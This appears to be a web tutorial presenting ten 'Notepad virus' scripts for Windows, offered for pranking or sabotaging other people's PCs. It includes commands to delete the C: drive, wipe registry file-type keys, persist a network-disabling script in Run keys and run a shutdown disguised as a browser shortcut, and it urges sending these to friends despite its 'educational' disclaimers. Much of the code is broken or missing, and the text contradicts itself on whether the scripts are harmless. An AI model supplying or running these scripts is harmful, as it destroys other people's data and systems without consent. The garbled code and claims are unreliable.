We are living in a tech world today where everyone is using computers and almost every one of us knows about the threats too. This is a malicious program that makes an entry into our system without our permission. It can affect our data and OS. There are various kinds such as Trojan horses, Malware, Rootkit, RAT, Worms and many others.
This article will teach you how to create a real computer virus using Notepad 2021, which is harmless. We will be sharing Notepad Virus Scripts that can destroy someone’s PC. However, it’s not as easy as it sounds. Be patient and try again if it doesn’t work in the first try for you.
- 1 How to Create a Computer Virus 2021 – 10 Best Notepad Virus Scripts
- 1.1 Creating a harmless CD-ROM Virus
- 1.2 Create a Dangerous Virus – Deletes all System32 and OS Files
- 1.3 A virus that blocks internet access
- 1.4 Create a virus to test your Antivirus Security
- 1.5 Shutdown Virus – Turn off someones PC with a file
- 1.6 Create a Matrix-type screen – Be like a hacker
- 1.7 Endless notepads – Pop-up virus
- 1.8 Disable internet – Disconnects any Wireless Connection
- 1.9 Endless Enter – Keeps the Enter Key Active
- 1.10 Delete Registry Files Virus Script
- 2 Have you ever Created a Harmless Virus using Notepad?
How to Create a Computer Virus 2021 – 10 Best Notepad Virus Scripts
Most of us would think that the method is coding, but you’re wrong. These are simple tricks based on a notepad. Moreover, you can also remove malware from your browser if it gets infected.
Creating a harmless CD-ROM Virus
- You need to open notepad and type the following code into it, save it as CD-ROM-SecuredYou.vbs or anything you want.
Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
- As you double click on this file, you would see what this harmless yet straightforward script can do. Your CD or DVD drivers shall get ejected continuously.
How to stop CD-Rom notepad virus:
- Open the task manager.
- Select the process tab.
- Then end the wscript.exe file.
Create a Dangerous Virus – Deletes all System32 and OS Files
- Open up notepad in your windows OS.
- Then copy and paste the following code:
Del C: *.* |y
- Save it as virus.bat, keep in mind that you can select any name you want, but .bat needs to be there after the name.
- As you run this file, It shall delete Drive C:\ completely, and OS of the system shall be corrupted.
Note: Keep in mind that it is only to educate people. Do not try this on your computer system as it shall format C Drive completely.
A virus that blocks internet access
Such kind is harmless and shall not destroy your PC. Users can use this notepad virus to prank their friends. This is used to stop someone’s internet access. For this type the following command:
- Save this file as .bat just like internet.bat, then send it to your friends.
- IP address gets lost, and you shall not be able to fix it.
- You need type in Ipconfig /renew.
Create a virus to test your Antivirus Security
- You need to open notepad and then type the following command and save the file as EICAR.COM.
- If you carry an active antivirus software, then IT shall remove this file simply and quickly.
Shutdown Virus – Turn off someones PC with a file
Create viruses with which you can shut down computer systems. Though this is harmless users can lose data due to sudden shutdown. For this:
- In the first step, you need to click right on the desktop and then click on create a shortcut.
- In CMD pop-up type: windows –s –t 20 –c. The computer is shutting down. Now despite users can put in any value he wants as it represents the time in seconds.
- Hit next and type “Firefox” or whatever you wish to.
- After this change, the icon of a shortcut, choose google chrome.
It disguises itself as a web browser. Users can carry this in their pen drive and shutdown their friend’s system.
Create a Matrix-type screen – Be like a hacker
You can say it is a simple notepad trick with which users can string of green characters that appear randomly. This has nothing to do with the computer registry, batch or anything else. Use this to scare your friends because this screen looks like a virus has affected it.
- In the notepad type the following code:
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
- Save this file as Matrix.bat and then click to see it work.
Note: Keep in mind that these viruses are dangerous and can destroy your system; therefore, do not use them for evil purposes.
Endless notepads – Pop-up virus
Type in the following code, and it shall take endless pop-up notepads until the computer freezes and crashes.
Disable internet – Disconnects any Wireless Connection
Disable anyone internet by typing in the following code:
echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
Endless Enter – Keeps the Enter Key Active
Use the following code to make the enter button pressed continuously.
Set wshShell = wscript.CreateObject(”WScript.Shell”)
Delete Registry Files Virus Script
Now before you try the notepad virus keep in mind that it is dangerous and can cause permanent damage to your OS. To recover from this, you only have the option to re-install your windows. For this type the following code:
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
ECHO Your PC has been crashed.Your Dad.
Disclaimer: Please be aware that these are real viruses that can be used to destroy a computer if used with the wrong intent. Only use them on systems that you have permissions to do so on. These are only for educational and informational purposes.
Related Tools you might be interested in:
- ProRat Download 2021.
- John The Ripper – Very Fast Password Cracker.
- Download Nmap Network Hacking Software.
Have you ever Created a Harmless Virus using Notepad?
Let’s be very honest. We have all wanted to be hackers since childhood or at least hack into someone’s Facebook account, right? The guide above shows you how to create a virus using Notepad, which is harmless. We have shared 10 of the most popular Notepad virus scripts for shutdown, registry delete and blocking internet access.